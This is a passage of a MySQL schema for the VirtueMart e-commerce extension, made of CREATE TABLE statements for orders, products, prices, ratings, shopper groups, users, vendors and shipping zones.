char(48), `middle_name` char(48), `phone_1` char(32), `phone_2` char(32), `fax` char(32), `address_1` char(64) NOT NULL DEFAULT '', `address_2` char(64) , `city` char(64) NOT NULL DEFAULT '', `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `zip` char(16) NOT NULL DEFAULT '', `email` char(128), `agreed` tinyint(1) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_userinfo_id`), KEY `i_virtuemart_order_id` (`virtuemart_order_id`), KEY `i_virtuemart_user_id` (`virtuemart_user_id`), KEY `idx_address_type` (`address_type`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores the BillTo and ShipTo Information at order time' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_paymentmethods` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_paymentmethods` ( `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `payment_jplugin_id` int(11) NOT NULL DEFAULT '0', `payment_element` char(50) NOT NULL DEFAULT '', `payment_params` varchar(19000), `shared` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'valide for all vendors?', `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_paymentmethod_id`), KEY `idx_payment_jplugin_id` (`payment_jplugin_id`), KEY `idx_payment_element` (payment_element,`virtuemart_vendor_id`), KEY `idx_payment_method_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='The payment methods of your store' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_paymentmethod_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_paymentmethod_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_paymentmethod_id` (`virtuemart_paymentmethod_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='xref table for paymentmethods to shoppergroup' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_products` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_products` ( `virtuemart_product_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `product_parent_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `product_sku` char(64), `product_gtin` char(64), `product_mpn` char(64), `product_weight` decimal(10,4), `product_weight_uom` char(7), `product_length` decimal(10,4), `product_width` decimal(10,4), `product_height` decimal(10,4), `product_lwh_uom` char(7), `product_url` char(255), `product_in_stock` int(1) NOT NULL DEFAULT '0', `product_ordered` int(1) NOT NULL DEFAULT '0', `low_stock_notification` int(1) UNSIGNED NOT NULL DEFAULT '0', `product_available_date` datetime NOT NULL default '0000-00-00 00:00:00', `product_availability` char(32), `product_special` tinyint(1), `product_sales` int(1) UNSIGNED NOT NULL DEFAULT '0', `product_unit` varchar(8), `product_packaging` decimal(8,4) UNSIGNED, `product_params` varchar(2000), `hits` int(11) unsigned, `intnotes` varchar(18000), `metarobot` varchar(400), `metaauthor` varchar(400), `layout` char(16), `published` tinyint(1), `pordering` mediumint(2) UNSIGNED NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_product_id`), KEY `idx_product_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_product_product_parent_id` (`product_parent_id`), KEY `i_product_special` (`product_special`), KEY `i_published` (`published`), KEY `i_pordering` (`pordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='All products are stored here.' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_categories` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_category_id`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Maps Products to Categories'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_shoppergroups` -- -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Maps Products to Categories'; -- -------------------------------------------------------- -- -- Table structure `#__virtuemart_product_customfields` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_customfields` ( `virtuemart_customfield_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'field id', `virtuemart_product_id` int(11) NOT NULL DEFAULT '0', `virtuemart_custom_id` int(11) NOT NULL DEFAULT '1' COMMENT 'custom group id', `custom_value` varchar(8000) COMMENT 'field value', `custom_price` decimal(15,5) COMMENT 'price', `custom_param` varchar(12800) COMMENT 'Param for Plugins', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `created_by` int(1) UNSIGNED NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(1) UNSIGNED NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_customfield_id`), KEY `idx_virtuemart_product_id` (`virtuemart_product_id`), KEY `idx_virtuemart_custom_id` (`virtuemart_custom_id`), KEY `idx_published` (`published`), KEY `idx_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='custom fields' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_medias` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_media_id`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_manufacturers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_manufacturers` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(11), `virtuemart_manufacturer_id` smallint(1) UNSIGNED, PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_manufacturer_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Maps a product to a manufacturer'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_prices` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_prices` ( `virtuemart_product_price_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` int(11), `product_price` decimal(15,5), `override` tinyint(1), `product_override_price` decimal(15,5), `product_tax_id` int(11), `product_discount_id` int(11), `product_currency` smallint(1), `product_price_publish_up` datetime, `product_price_publish_down` datetime, `price_quantity_start` int(11) unsigned, `price_quantity_end` int(11) unsigned, `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_product_price_id`), KEY `i_product_id` (`virtuemart_product_id`), KEY `i_virtuemart_shoppergroup_id` (`virtuemart_shoppergroup_id`), KEY `dx_product_price_publish_up` (`product_price_publish_up`), KEY `dx_product_price_publish_down` (`product_price_publish_down`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds price records for a product' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_rating_reviews` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_rating_reviews` ( `virtuemart_rating_review_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `comment` varchar(18000), `review_ok` tinyint(1) NOT NULL DEFAULT '0', `review_rates` int(1) UNSIGNED NOT NULL DEFAULT '0', `review_ratingcount` int(1) UNSIGNED NOT NULL DEFAULT '0', `review_rating` decimal(10,2) NOT NULL DEFAULT '0.00', `review_editable` tinyint(1) NOT NULL DEFAULT '1', `lastip` char(50) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_rating_review_id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`created_by`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_ratings` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_ratings` ( `virtuemart_rating_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `rates` int(11) NOT NULL DEFAULT '0', `ratingcount` int(1) UNSIGNED NOT NULL DEFAULT '0', `rating` decimal(10,1) NOT NULL DEFAULT '0.0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_rating_id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_rating_id`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Stores all ratings for a product'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_rating_votes` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_rating_votes` ( `virtuemart_rating_vote_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `vote` int(11) NOT NULL DEFAULT '0', `lastip` char(50) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_rating_vote_id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`created_by`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Stores all ratings for a product'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_shipmentmethods` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_shipmentmethods` ( `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `shipment_jplugin_id` int(11) NOT NULL DEFAULT '0', `shipment_element` char(50) NOT NULL DEFAULT '', `shipment_params` varchar(19000), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_shipmentmethod_id`), KEY `idx_shipment_jplugin_id` (`shipment_jplugin_id`), KEY `idx_shipment_element` (shipment_element,`virtuemart_vendor_id`), KEY `idx_shipment_method_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Shipment created from the shipment plugins' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_shipmentmethods_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_shipmentmethod_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED, `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_shipmentmethod_id` (`virtuemart_shipmentmethod_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='xref table for shipment to shoppergroup' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_shoppergroups` ( `virtuemart_shoppergroup_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `shopper_group_name` char(64), `shopper_group_desc` char(128), `custom_price_display` tinyint(1) NOT NULL DEFAULT '0', `price_display` blob, `default` tinyint(1) NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_shoppergroup_id`), KEY `idx_shopper_group_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_shopper_group_name` (`shopper_group_name`), KEY `i_ordering` (`ordering`), KEY `i_shared` (`shared`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Shopper Groups that users can be assigned to' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_states` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_states` ( `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `virtuemart_worldzone_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `state_name` char(64), `state_3_code` char(3), `state_2_code` char(2), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_state_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), UNIQUE KEY `idx_state_3_code` (`virtuemart_vendor_id`,`virtuemart_country_id`,`state_3_code`), UNIQUE KEY `idx_state_2_code` (`virtuemart_vendor_id`,`virtuemart_country_id`,`state_2_code`), KEY `i_virtuemart_country_id` (`virtuemart_country_id`), KEY `i_ordering` (`ordering`), KEY `i_shared` (`shared`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='States that are assigned to a country' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_vmusers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vmusers` ( `virtuemart_user_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `user_is_vendor` tinyint(1) NOT NULL DEFAULT '0', `customer_number` char(32), `perms` char(40) NOT NULL DEFAULT 'shopper', `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED, `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED, `agreed` tinyint(1) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_user_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), UNIQUE KEY `i_virtuemart_user_id` (`virtuemart_user_id`,`virtuemart_vendor_id`), KEY `i_user_is_vendor` (`user_is_vendor`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Holds the unique user data' ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_vmuser_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vmuser_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_user_id` (`virtuemart_user_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='xref table for users to shopper group' ; -- -------------------------------------------------------- CREATE TABLE IF NOT EXISTS `#__virtuemart_permgroups` ( `virtuemart_permgroup_id` tinyint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `group_name` char(128), `group_level` int(11), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_permgroup_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds all the user groups' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_userfields` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_userfields` ( `virtuemart_userfield_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `userfield_jplugin_id` int(11) NOT NULL DEFAULT '0', `name` char(255) NOT NULL DEFAULT '', `title` char(255) NOT NULL DEFAULT '', `description` mediumtext, `type` char(70) NOT NULL DEFAULT '', `maxlength` int(11), `size` int(11), `required` tinyint(4) NOT NULL DEFAULT '0', `cols` int(11), `rows` int(11), `value` char(255), `default` char(255), `registration` tinyint(1) NOT NULL DEFAULT '0', `shipment` tinyint(1) NOT NULL DEFAULT '0', `account` tinyint(1) NOT NULL DEFAULT '1', `readonly` tinyint(1) NOT NULL DEFAULT '0', `calculated` tinyint(1) NOT NULL DEFAULT '0', `sys` tinyint(4) NOT NULL DEFAULT '0', `params` varchar(17500), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_userfield_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_ordering` (`ordering`), KEY `i_shared` (`shared`), KEY `i_published` (`published`), KEY `i_account` (`account`), KEY `i_shipment` (`shipment`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds the fields for the user information' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_userfield_values` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_userfield_values` ( `virtuemart_userfield_value_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_userfield_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `fieldtitle` char(255) NOT NULL DEFAULT '', `fieldvalue` char(255) NOT NULL DEFAULT '', `sys` tinyint(4) NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_userfield_value_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds the different values for dropdown and radio lists' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_userinfos` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_userinfos` ( `virtuemart_userinfo_id` int(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `address_type` char(2) NOT NULL DEFAULT '', `address_type_name` char(32) NOT NULL DEFAULT '', `name` char(64), `company` char(64), `title` char(32), `last_name` char(48), `first_name` char(48), `middle_name` char(48), `phone_1` char(32), `phone_2` char(32), `fax` char(32), `address_1` char(64) NOT NULL DEFAULT '', `address_2` char(64), `city` char(64) NOT NULL DEFAULT '', `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `zip` char(32) NOT NULL DEFAULT '', `agreed` tinyint(1) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_userinfo_id`), KEY `idx_userinfo_virtuemart_user_id` (`virtuemart_userinfo_id`,`virtuemart_user_id`), KEY `address_type` (`address_type`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Customer Information, BT = BillTo and ST = ShipTo'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_vendors` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vendors` ( `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `vendor_name` char(64), `vendor_currency` int(11), `vendor_accepted_currencies` varchar(1536) NOT NULL DEFAULT '', `vendor_params` varchar(17000), `metarobot` char(20), `metaauthor` char(64), `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_vendor_id`), KEY `idx_vendor_name` (`vendor_name`) -- KEY `idx_vendor_category_id` (`vendor_category_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Vendors manage their products in your store' AUTO_INCREMENT=1 ; -- -- Table structure for table `#__virtuemart_vendor_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vendor_medias` ( `id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`,`virtuemart_media_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_waitingusers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_waitingusers` ( `virtuemart_waitinguser_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `notify_email` char(150) NOT NULL DEFAULT '', `notified` tinyint(1) NOT NULL DEFAULT '0', `notify_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, `ordering` int(2) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_waitinguser_id`), KEY `virtuemart_product_id` (`virtuemart_product_id`), KEY `notify_email` (`notify_email`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores notifications, users waiting f. products out of stock' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_worldzones` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_worldzones` ( `virtuemart_worldzone_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1), `zone_name` char(255), `zone_cost` decimal(10,2), `zone_limit` decimal(10,2), `zone_description` varchar(18000), `zone_tax_rate` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT 